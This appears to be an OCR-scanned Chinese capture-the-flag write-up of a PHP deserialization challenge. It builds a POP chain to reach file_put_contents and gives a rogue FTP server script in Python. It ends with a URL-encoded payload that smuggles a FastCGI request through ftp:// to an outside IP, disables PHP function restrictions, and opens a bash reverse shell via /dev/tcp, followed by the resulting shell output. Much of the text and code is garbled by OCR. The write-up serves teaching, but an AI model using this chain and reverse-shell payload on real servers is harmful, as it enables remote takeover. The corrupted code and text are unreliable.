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<?php

class Check {
public static $strl = false;
public static $str2 = false;

class Esle {
public function __ wakeup()
{
Check: :$strl = true;

}

class Hint {

public function __wakeup(){
$this->hint = "no hint";

}

public function __destruct(){
if(!$this->hint){
$this->hint = "phpinfo";
($this->hint)();
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class Bunny {

public function __toString()

{
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST[ 'data’];
¥
file put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}

class Welcome {
public function __invoke()

{
Check: :$str2 = true;

return "Welcome" . $this->username;

class Bypass {

public function _ destruct()

{
if (Check::$strl) {
($this->str4)();
} else {
throw new Error("Error");
}
}

if (isset($_GET['code'])) {
unserialize($_GET['code']);

} else {
highlight_file(__FILE_ );
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A Hintk, B 7EFEREEphpinfo()i), HEFRFR

<?php O:4:"Hint":0:{}phpinfo()
class Hint | PHP Version => 7.4.1
public function _ wakeup() { . )
$this->hint = “no hint”: System => Linux 4f831830e7d4 4.15.0-54-generic #58-Ubuntu SMP Mon Jun

24 10:55:24 UTC 2019 x86_64
Build Date => Dec 29 2019 22:39:04

ion _ destruct(){ Configure Command => "/configure' '--prefix=/usr/local/php-7.4.1"
b o Server APl => Command Line Interface
papEnre Virtual Directory Support = disabled

$this—>hint) () ;

Configuration File (php.ini) Path => /usr/local/php-7.4.1/lib
Loaded Configuration File => (none)
Scan this dir for additional .ini files => (none)

$a = new Hint(); Additional .ini files parsed => (none)
echo serialize(§a); PHP APl => 20190902
2 PHP Extension => 20190902

Zend Extension => 320190902
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URL
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Php

e Linux out 4.19.221-0419221-generic #202112141049 SMP Tue Dec 14 11:54:51 UTC 2021 x86_64

IS0 201947 B 12 B 23:45:28

BEnS * fconfigure' *--build=x86_64-linux-gnu’ --with-config-file-path=/usr/local/etc/php' '--with-config-file-
scan-dir=/ usr/local/etc/php/conf.d’ '--enable-option-checking=fatal’ '--with-mhash’ '--enable-ftp' '--
enable-mbstring' * ble-mysgind * '--with-p d-argon2' '--with-sodium=shared’ --with-curl’ '--
with-libedit' '--with-openss|' "--with-zlib' '-- with-libdir=lib/x86_64-linux-gnu' '--enable-fpm' '--with-fpm-
user=www-data' '--with-fpm-group=www-data' '--disable- cgi"build_alias=x86_64-linux-gnu'

BEs5=5 API FPM/FastCGI

ERBSSS =8

BEEX{E (php.ini) BE /Just/local/etc/php

DNERIECES Just/local/etc/php/php.ini

Hiftk B RARENE M ini 32 /ust/local/etc/php/conf.d

BEHTRIEL .ini X /Jusr/local/etc/php/conf.d/docker-php-ext-mysqgli.ini, /usr/local/ete/php/conf.d/docker-php-ext-
pdo_mysql.ini, /usr/local /etc/php/conf.d/docker-php-ext-sodium.ini

PHP API 20170718
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LOAD SPLIT

URL

Php

System

Linux out 4.19.221-0419221-generic #202112141049 SMP Tue Dec 14 11:54:51 UTC 2021 x86_64

Build Date

Jul 12 2019 23:45:28

Configure Command

*.feonfigure’ *--build=x86_64-linux-gnu’ --with-config-file-path=/usr/local/etc/php’ "--with-config-file-
scan-dir=/usr/local/etc/php/confd' '--enable-option-checking=fatal' '--with-mhash' '--enable-ftp' '--
enable-mbstring' '--enable-mysglnd' '--with-password-argon2' '--with-sodium=shared’ '--with-curl' '--
with-libedit' *--with-openssl' --with-zlib’ *--with-libdir=lib/x86_64-linux-gnu' --enable-fpm' "--with-fpm-
user=www-data' '--with-fpm-group=www-data' '--disable-cgi' 'build_alias=x86_64-linux-gnu'

Server API FPM/FastCGI
Virtual Directory Support disabled
Configuration File (php.ini) Path Jusr/local/etc/php

Loaded Configuration File

Jusr/local/etc/php/php.ini

Scan this dir for additional .ini files

/usr/local/etc/php/confd

‘Additional .ini files parsed

/Jusr/local/etc/php/conf.d/docker-php-ext-mysgli.ini, /usr/local/etc/php/conf.d/docker-php-ext-
pdo_mysqlini, /usr/local/etc/php/confd/docker-php-ext-sodium.ini
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Php

System Linux out 4.19.221-0419221-generic #202112141049 SMP Tue Dec 14 11:54:51 UTC 2021 x86_64
Build Date Jul 12 2019 23:45:28
Configure Command ' fconfigure' "--build=x86 64-linux-gnu' '--with-config-file-path=/usr/local/etc/php' '--with-config-file-

scan-dir=/usr/local/etc/php/confd’ '--enable-option-checking=fatal' '--with-mhash' '--enable-ftp' '--
enable-mbstring' '--enable-mysqlnd' '--with-password-argon2’ '--with-sodium=shared" "--with-curl' '--
with-libedit' '--with-openssl' '--with-zlib' "--with-libdir=lib/x86 _64-linux-gnu’ '--enable-fpm' '--with-fpm-

LISEL datal'--with-fpm-group=www-data' '--disable-cgi' 'build alias=x86 64-linux-gnu’
Server API FPM/FastCGI
Virtual Directory Support disabled
Configuration File (php.ini) Path Jusrflocal/etc/php
Loaded Configuration File Jusrflocal/etc/php/php.ini
Scan this dir for additional .ini files Jusrflocal/etc/php/confd
Additional .ini files parsed Jusrflocal/etc/php/conf.d/docker-php-ext-mysqli.ini, /usr/local/etc/php/confd/docker-php-ext-

pdo_mysql.ini, fusr/local/ete/php/confd/docker-php-ext-sodium.ini

PHP API 20170718 CEDN @arror0

EER—EBRKR—AERH, BE2RWT, WHiHFGERIER. WRARERFIMLE, XE—INHEBES
FPOPE M H, FrURAMIeiEE T, HIKEEfile_put_contents().

class Bypass {

public function __destruct()

{
if (Check::$str1) {
($this->str4)();
} else {
throw new Error("Error");
¥
¥

__destruct()ZEHintkf1BypassKH#HIL T, EHLHTHIntKRHIKESZ, FURIMADE
#Bypass2, Bypass&E4Siit$stri=false.

class Esle {
public function __ wakeup()

{
Check: :$strl = true;

X BN E#AEBypassH L5k —XEsle Kl 7] LAGeid it W, PHP&RFIUARKI B R UG XE, BA
WA T, BBIRXAEN GA G = R HOE B FE R Bk __invoke()

class Welcome {
public function __invoke()

{
Check: :$str2 = true;
return "Welcome" . $this->username;

#EWelcomeffjinvoke()+ usernamet U 1EF R & it , FreAn Bk toString(),



class Bunny {

public function __toString()

{
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}

BERATEER)XL T file_put_contents()E $. 7£iX B AL | datafifilename,
B ABA 8 J5 M & R B 10N«
A0 --> Bypass::__destruct() --> Welcome::__invoke() --> Bunny::__toString() --> file_put_contents()

& Mexpn F,



<?php

class Esle {
public function __ wakeup()

{
Check::$strl = true;

class Bunny {

public function __ toString()

{
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST[ 'data'];
}
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}

class Welcome {
public function __invoke()
{
Check: :$str2 = true;
return "Welcome" . $this->username;

class Bypass {

public function __ construct()
{

$this->errorre = new Esle();
}
}

$a = new Bypass();

$b =new Welcome();

$c = new Bunny();

$a->str4 = $b;
$b->username = $c;
$c->filename="/tmp/1.txt";
$c->data="123";

echo urlencode(serialize(%$a));
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import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 9999)) #9999% O RMRIMIRS ST, WLMEEK
s.listen(1)

conn, addr = s.accept()

conn.send(b'220 welcome\n')

#Service ready for new user.

#Client send anonymous username

#USER anonymous

conn.send(b'331 Please specify the password.\n')
#User name okay, need password.

#Client send anonymous password.

#PASS anonymous

conn.send(b'230 Login successful.\n')

#User logged in, proceed. Logged out if appropriate.
#TYPE I

conn.send(b'200 Switching to Binary mode.\n')

#Size /

conn.send(b'550 Could not get the file size.\n')
#EPSV (1)

conn.send(b'150 ok\n")

#PASV

conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n"') #STOR / (2)
conn.send(b'150 Permission denied.\n")

#QUIT

conn.send(b'221 Goodbye.\n")

conn.close()

FfEtgopherus’t: fpayload, fJElgopherth il /5 HFMEIEMEIFT, XBERMAKZFTPRS 3, FrUlMftp
.
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‘é nnot set rminal pr s group (25): Inappropriate ioctl for device
© : no job control in this shell
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ZMITEEEIEE

1cd1a42b-0cc8-4e7¢-8339-80db

HTTP ERROR 500
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r-wﬁ-p://wcd'\a42b70ccB—Ae?c—BSS‘J—SOdbdefS‘\f‘\.node4.buu0J cn:81/? | sshi/, SSH2 xterm ' 83x31 1.622 284 4 NUM
code=0%3A6%3A%22BYpass%22%3A2%3A%7Bs%3A3%3A%22aaa%22%3B0%3A4%3A%22ES|e%22%3A0%3A%7B%7Ds%3A4%3A%2251r4%22%3B0%3A7%3A%22Welcome%22%3A2%3A% 7Bs%3A3%3A%22bbb%
22%3B0%3A5%3A%22Check%22%3A0%3A%7B%7Ds%3A8%3A%22username%22%3B0%3A5%3A%22BUnny%22%3A2%3A%7Bs%3A8%3A%22fllename%22%3B5s%3A33%3A%22ftp%3A%2F%2Faaa%4047.106.108.
66%3A9999%2F9999%22%3Bs%3A4%3A%22data%22%3Bs %3A415%3A%22%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F %10SERVER_SOFTWAREgo+%
2F+fegiclient+%0B%09REMOTE_ADDR127.0.0.1%0F %08SERVER_PROTOCOLHTTP%2F1.1%0E%03CONTENT_LENGTH105%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include+%3D+0n%0Adisabl
e_functions+%3D+%0Aauto_prepend_file+%3D+php%3A%2F%2Finput%0F%17SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%0D%01DOCUMENT_ROOT%2F%00%00%00%00%00%01%04%00%01%00%
00%00%00%01%05%00%01%00i%04%00%3C%3Fphp+system%28%27bash+-c+%22bash+-i+%3E%26+%2Fdevi%2Ftcp%2F4 %2F2333+0%3E%261%22%27%29%3Bdie%28%27——Made-by-SpyDgr=

HHERT, FHMERT, EEEMRlagitiT T .
b

www-data@out:~/html$ 1s /
1s /

bin

boot

dev

etc

flag

home

lib

lib64d

media

mnt

opt

php.ini

proc

root

run

sbin

s5rv

sudoers

5Ys

tmp

usr

var
www-data@out:
cd /tmp
www-data@out:/tmp$ 1s
1s

1.txt
www-data@out:/tmp$ cat 1.txt
cat 1.txt

123
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